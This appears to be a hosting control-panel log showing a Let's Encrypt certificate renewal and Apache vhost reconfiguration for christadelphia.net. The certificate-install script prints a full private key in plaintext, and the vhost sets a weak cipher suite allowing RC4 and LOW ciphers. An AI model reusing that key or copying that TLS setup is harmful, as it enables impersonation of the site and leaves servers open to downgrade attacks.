MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-18 12:42:55: Establishing a connection
2026-04-18 12:42:55: Establishing a connection
2026-04-18 12:42:55: 

PUT: /tmp/pkp106359

#!/bin/bash
if [ -d "/var/www/christadelphia_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-18 12:42:55: 

chmod 755 /tmp/pkp106359; /tmp/pkp106359; rm /tmp/pkp106359

2026-04-18 12:42:55: 


1


2026-04-18 12:42:56: Establishing a connection
2026-04-18 12:42:57: 

PUT: /tmp/pkp920004

#!/bin/bash
mkdir -p "/var/www/christadelphia_www/.well-known/acme-challenge/"
cd "/var/www/christadelphia_www/.well-known/acme-challenge/"
cat > AnBJ0fuOtkSRDQWA1RgjozBuY58wmLPVBH-q1RGU7Gw <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
AnBJ0fuOtkSRDQWA1RgjozBuY58wmLPVBH-q1RGU7Gw.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 AnBJ0fuOtkSRDQWA1RgjozBuY58wmLPVBH-q1RGU7Gw
cat > zgIng8rnBBndFQarRZjKm5Qj2IkO51eyJeAIXnEwu08 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
zgIng8rnBBndFQarRZjKm5Qj2IkO51eyJeAIXnEwu08.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 zgIng8rnBBndFQarRZjKm5Qj2IkO51eyJeAIXnEwu08


2026-04-18 12:42:57: 

chmod 755 /tmp/pkp920004; /tmp/pkp920004; rm /tmp/pkp920004

2026-04-18 12:42:57: 




2026-04-18 12:43:05: Establishing a connection
2026-04-18 12:43:06: 

PUT: /tmp/pkp696069

#!/bin/bash
mkdir -p "/var/www/christadelphia_www/.well-known/acme-challenge/"
cd "/var/www/christadelphia_www/.well-known/acme-challenge/"
rm AnBJ0fuOtkSRDQWA1RgjozBuY58wmLPVBH-q1RGU7Gw
rm zgIng8rnBBndFQarRZjKm5Qj2IkO51eyJeAIXnEwu08


2026-04-18 12:43:06: 

chmod 755 /tmp/pkp696069; /tmp/pkp696069; rm /tmp/pkp696069

2026-04-18 12:43:06: 




2026-04-18 12:43:06: Establishing a connection
2026-04-18 12:43:06: 

PUT: /tmp/pkp980472

#!/bin/bash
temp_file=$(mktemp)
TARGET=d91b2f0a4f6cfa0542190dabbd9574d1.crt

cat > $temp_file <<'endmsg'
19:06:d3:33:6e:75:49:a1:62:6e:06:5b:24:ee:53:0f

-----BEGIN CERTIFICATE-----
MIIFGTCCBAGgAwIBAgISBpbODzZkh8wGi3yhNHMYsgrsMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDE4MTE0NDM0WhcNMjYwNzE3MTE0NDMzWjAdMRswGQYDVQQD
ExJjaHJpc3RhZGVscGhpYS5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCYNjkL1FWxhMnSHzsRcKJFJTf0kMmVZbL9p7VrsiolTCs/MKrAxAIM6UBr
FE0SrcPpTkZPipgR296UrJOD3KJJdCcjHoxRNpzuLPY84IGPL8PIWqk5kRh6/Oos
UWmKyemC8jyrrMilT3ejWlHVgHCQyKGm5y0+dcjBUwA7MhbcKIki4cnJuGkY/1aT
31mHY3JNd445QS4tjpt6sMg+RlI39lNT62/MzlpwZNgmDtW/Mf1qZhi0jgxJYsS2
rN3XXFSXCeu3IjVOnCxkjesz4KpdZcTLb5fCxCRTmVxEP5x9wWh7uAc0mB+wQTXs
jCiyXmi9SX9BH4Ln/NjBe4p7Rif1AgMBAAGjggI7MIICNzAOBgNVHQ8BAf8EBAMC
BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
XULtP/iZQIc1/iUlaqfSM5dLp8IwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yteD76
3OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEyLmku
bGVuY3Iub3JnLzA1BgNVHREELjAsghJjaHJpc3RhZGVscGhpYS5uZXSCFnd3dy5j
aHJpc3RhZGVscGhpYS5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgw
JjAkoCKgIIYeaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8xMDkuY3JsMIIBDgYKKwYB
BAHWeQIEAgSB/wSB/AD6AHcAyKPEf8ezrbk1awE/anoSbeM6TkOlxkb5l605dZkd
z5oAAAGdoJ27ogAABAMASDBGAiEA4yNbL/1YlCSUggvBrd+wvRRs+UMecODj0tsh
s6cwG6gCIQD1WYk1yVK3SZ9wB3jeMRhHofooDL5fpOrVLJ7QA62GvQB/AKgmy+MK
xjUSRlM/4GXxTxnZbhkIE8Qd2W15ALMSPFUnAAABnaCdvZkACAAABQAHXNWvBAMA
SDBGAiEA1wa1cenql01DRh0IDje7Fj6LsEUBr24LG49TlGZgXXwCIQD6mTD+VFM3
gXybuoPf+ARA9Ent6j+Ix3B8/IW99lpMNzANBgkqhkiG9w0BAQsFAAOCAQEAgPMj
3KopkO1kKnWXFlv0Tbld9QGf8qkER8S99ur3QHBXye15njf2QSdiRXZgnrBZPYUf
T88482qVrBDuEvIqV1YdIwOK5sdJd84ymItHJyxvUkhX2RCR/PwfPssAxUOoC0vL
+ExgdKbj/TRc3bpnZwC7wE99bP2KtfbUbSS/DiZDsRa6lDGkXxF7k8bFCSdLdTr/
Glvmf4R6YdKYp7SZKZKM+Zn77m7WlAylVHUiwS4XtZ1hWNZJq4HZq4xwrjMfqDxA
5/66I74Y5I/oKAQOzVM7tZkAmvgBtxqCIQFkn42zAgZ8ZxFluzIY/YuR2RLJx+0m
qSF2xy/BlfbJYftWUg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCYNjkL1FWxhMnS
HzsRcKJFJTf0kMmVZbL9p7VrsiolTCs/MKrAxAIM6UBrFE0SrcPpTkZPipgR296U
rJOD3KJJdCcjHoxRNpzuLPY84IGPL8PIWqk5kRh6/OosUWmKyemC8jyrrMilT3ej
WlHVgHCQyKGm5y0+dcjBUwA7MhbcKIki4cnJuGkY/1aT31mHY3JNd445QS4tjpt6
sMg+RlI39lNT62/MzlpwZNgmDtW/Mf1qZhi0jgxJYsS2rN3XXFSXCeu3IjVOnCxk
jesz4KpdZcTLb5fCxCRTmVxEP5x9wWh7uAc0mB+wQTXsjCiyXmi9SX9BH4Ln/NjB
e4p7Rif1AgMBAAECggEABuStwLNlDh0NZs6zRh7rumXtGs5T0shASuyFctMmxXml
m78AfKpjzWHi4PaSZv4nmTFKTd/g8y4Z7nHCXH5pexofi5+eiy8F/GNc43TnaSyo
mTJB57GCgk9h64/kT7zFLoD57mxsyc/Hg0Zb3mdqsaPkbkKZ8fIznU28/PFPx7ic
WhhGoIHMIQU8IQt4fqxwe59KO4vmhyn8ZhIlVLj1v2APgDY/+hsmHtvwgLHnZVqQ
yelcxAONJxwIdaZxFNmqQ3XLvhX4/9nH5qeNQ0sGu3m1jeR5CIMnw59SOP+/3rgW
OfbI7JpigdMzLuWNhOwatuchXZk1Qd8IUJuqXIKFIQKBgQDLYFOJeXajeZYigj0h
Xtv6diHfyce/t+qUetSOoLhbFAeljfzqA//UgiIheK30Mw7yu8JYLokznGtjWylP
h8pqr/5X3b0fs4io2r2qxeFXAicJ3Ul2BcMpNBEVp1bWZYQYZNZnmzsb6RbR924M
qtE+95QhftSbEScWU9c8VO/U4wKBgQC/mMFAPvg6ryn3frFEZNNxoCbx0D04X4P6
kvYnFROeGRS6K49IV19oxsBagQJW6oBbB3e0VE9Ex8Zs8VgxkDITjVYrUgBrW1qb
pteBC/0UsXXX8h1BDK+IryMHGlL2h1Zq0tOS4ukqvxVB9x/MdoF2y8J0Hzlom9AM
+3GtW7z/RwKBgQC24rp8Z6POQepGwgOi3KDIzC6OBfAAca0bNJGsaM8f6BUwRUzo
TAxk11lF7DXR4ZBRq5KKpd5vcPwI7tNpV10pL3ZzIU2PEm2UGpBw311SVvcwIbSL
04a6qL2sUTz/s25kWVmM9cTjxmnlCrIF5h4gl5a3wEwD3hreMyrccCzzrQKBgEk9
P0Irz/++zbAKAgE++YTJz5lIHN7bxDuYyfeOmv0oYT/5PsBMhfAraYQvJJHM+lvR
svR/9f040KT8bNYlZL8MnA/bPMXNGgm98UsnJgsu+vkdWAlxq/f32s/wRB5xBZu4
E6BmlPL+MEYTDVi/RCYBJcf116AhT5pm08GM++YpAoGAc5yjcU/cVVdy9c0lNwM7
BWY87beIbLDvpOViViGRET82VeCS9F+uQPYPGHDL6rfdl24K5QiWH1qp+xpSCFx8
6AwR2jXre1PJ7zwp3rJXnXXih7k53TrBIp2uiosPe3ePlYbgvSLlsmkiiU7xGNjm
fXg/shagLOXi+7tcD8Liv9g=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-18 12:43:06: 

chmod 755 /tmp/pkp980472; /tmp/pkp980472; rm /tmp/pkp980472

2026-04-18 12:43:06: 


dir=/etc/ssl/certs


2026-04-18 12:43:06: 

PUT: /tmp/pkp532376

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/christadelphia_www_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-18 12:43:06: 

chmod 755 /tmp/pkp532376; /tmp/pkp532376; rm /tmp/pkp532376

2026-04-18 12:43:06: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphia_www_net.conf 46

<VirtualHost *:80>
    ServerName	christadelphia.net
    ServerAlias	www.christadelphia.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphia_www
    <Directory /var/www/christadelphia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphia/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphia/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphia.net
    ServerAlias	www.christadelphia.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d91b2f0a4f6cfa0542190dabbd9574d1.crt
    DocumentRoot	/var/www/christadelphia_www
    <Directory /var/www/christadelphia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphia/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphia/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-04-18 12:43:06: 

PUT: /tmp/pkp636391

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=christadelphia_www_net.conf
TARGET=/etc/apache2/sites-enabled/christadelphia_www_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	christadelphia.net
    ServerAlias	www.christadelphia.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphia_www
    <Directory /var/www/christadelphia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphia/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphia/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphia.net
    ServerAlias	www.christadelphia.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d91b2f0a4f6cfa0542190dabbd9574d1.crt
    DocumentRoot	/var/www/christadelphia_www
    <Directory /var/www/christadelphia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphia/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphia/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/christadelphia_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/christadelphia_www_net.conf)= /etc/apache2//etc/apache2/sites-enabled/christadelphia_www_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/christadelphia_www_net.conf= 1'
fi


2026-04-18 12:43:06: 

chmod 755 /tmp/pkp636391; /tmp/pkp636391; rm /tmp/pkp636391

2026-04-18 12:43:06: 




2026-04-18 12:43:06: 

PUT: /tmp/pkp978729

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-18 12:43:06: 

chmod 755 /tmp/pkp978729; /tmp/pkp978729; rm /tmp/pkp978729

2026-04-18 12:43:07: 


.


2026-04-18 12:43:07: Establishing a connection
2026-04-18 12:43:07: 

PUT: /tmp/pkp871587

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-18 12:43:07: 

chmod 755 /tmp/pkp871587; /tmp/pkp871587; rm /tmp/pkp871587

2026-04-18 12:43:07: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
                 alias www.aletheiacollege.net
         port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
                 alias www.christadelphia.net
         port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
                 alias www.gospelstudies.net
         port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
                 alias www.heaster.org
         port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
         port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
                 alias www.hristadelfiane.org
         port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
                 alias www.osnovybiblii.info
         port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
                 alias www.realdevil.info
*:443                  is a NameVirtualHost
         default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
         port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
                 alias www.aletheiacollege.net
         port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
                 alias www.christadelphia.net
         port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
                 alias www.gospelstudies.net
         port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
                 alias www.heaster.org
         port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
         port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
                 alias www.hristadelfiane.org
         port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
                 alias www.osnovybiblii.info
         port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
                 alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-04-18 12:43:07: 

PUT: /tmp/pkp773695

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/christadelphia_www_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-18 12:43:07: 

chmod 755 /tmp/pkp773695; /tmp/pkp773695; rm /tmp/pkp773695

2026-04-18 12:43:07: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphia_www_net.conf	1431

<VirtualHost *:80>
    ServerName	christadelphia.net
    ServerAlias	www.christadelphia.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphia_www
    <Directory /var/www/christadelphia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphia/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphia/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphia.net
    ServerAlias	www.christadelphia.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d91b2f0a4f6cfa0542190dabbd9574d1.crt
    DocumentRoot	/var/www/christadelphia_www
    <Directory /var/www/christadelphia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphia/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphia/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-04-18 12:43:07: 

PUT: /tmp/pkp343295

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/d91b2f0a4f6cfa0542190dabbd9574d1.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-18 12:43:08: 

chmod 755 /tmp/pkp343295; /tmp/pkp343295; rm /tmp/pkp343295

2026-04-18 12:43:08: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/d91b2f0a4f6cfa0542190dabbd9574d1.crt	5390
19:06:d3:33:6e:75:49:a1:62:6e:06:5b:24:ee:53:0f

-----BEGIN CERTIFICATE-----
MIIFGTCCBAGgAwIBAgISBpbODzZkh8wGi3yhNHMYsgrsMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
